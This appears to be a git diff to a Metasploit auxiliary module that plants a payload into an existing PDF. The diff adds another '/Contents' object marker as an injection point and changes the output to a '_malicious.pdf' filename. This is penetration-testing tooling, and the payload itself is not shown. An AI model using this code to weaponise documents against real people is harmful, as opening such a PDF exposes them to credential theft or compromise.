Minor Code Improvement
parent
992d2130aa
commit
ab80eadc3f
|
@ -17,8 +17,8 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'Richard Davy - secureyourit.co.uk',
|
'Richard Davy - secureyourit.co.uk', #Module written by Richard Davy
|
||||||
'CheckPoint researchers - Assaf Baharav, Yaron Fruchtmann, Ido Solomon'
|
'CheckPoint researchers - Assaf Baharav, Yaron Fruchtmann, Ido Solomon' #Code provided as POC by CheckPoint Researchers
|
||||||
],
|
],
|
||||||
'Platform' => [ 'win' ],
|
'Platform' => [ 'win' ],
|
||||||
'References' =>
|
'References' =>
|
||||||
|
@ -61,17 +61,21 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
if content.index("/Contents 4 0 R") != nil
|
if content.index("/Contents 4 0 R") != nil
|
||||||
#If place holder exists create new file content
|
#If place holder exists create new file content
|
||||||
newdata = content[0..(content.index('/Contents 4 0 R')+14)]+inject_payload+content[(content.index('/Contents 4 0 R')+15)..-1]
|
newdata = content[0..(content.index('/Contents 4 0 R')+14)]+inject_payload+content[(content.index('/Contents 4 0 R')+15)..-1]
|
||||||
|
elsif content.index("/Contents 6 0 R") != nil
|
||||||
|
#If place holder exists create new file content
|
||||||
|
newdata = content[0..(content.index('/Contents 6 0 R')+14)]+inject_payload+content[(content.index('/Contents 6 0 R')+15)..-1]
|
||||||
elsif content.index("/Contents 8 0 R") != nil
|
elsif content.index("/Contents 8 0 R") != nil
|
||||||
#If place holder exists create new file content
|
#If place holder exists create new file content
|
||||||
newdata = content[0..(content.index('/Contents 8 0 R')+14)]+inject_payload+content[(content.index('/Contents 8 0 R')+15)..-1]
|
newdata = content[0..(content.index('/Contents 8 0 R')+14)]+inject_payload+content[(content.index('/Contents 8 0 R')+15)..-1]
|
||||||
end
|
end
|
||||||
|
|
||||||
if newdata != nil
|
if newdata != nil
|
||||||
|
newfilename = datastore['PDFINJECT'][(0..(datastore['PDFINJECT'].length-5))]+"_malicious.pdf"
|
||||||
#Write content to file
|
#Write content to file
|
||||||
File.open(datastore['PDFINJECT']+".malicious", 'wb') { |file| file.write(newdata) }
|
File.open(newfilename, 'wb') { |file| file.write(newdata) }
|
||||||
#Check file exists and display path or error message
|
#Check file exists and display path or error message
|
||||||
if File.exists?(datastore['PDFINJECT']+".malicious")
|
if File.exists?(newfilename)
|
||||||
print_good("Malicious file writen to #{datastore['PDFINJECT']}"+".malicious")
|
print_good("Malicious file writen to "+newfilename)
|
||||||
else
|
else
|
||||||
print_error "Something went wrong creating malicious PDF file"
|
print_error "Something went wrong creating malicious PDF file"
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue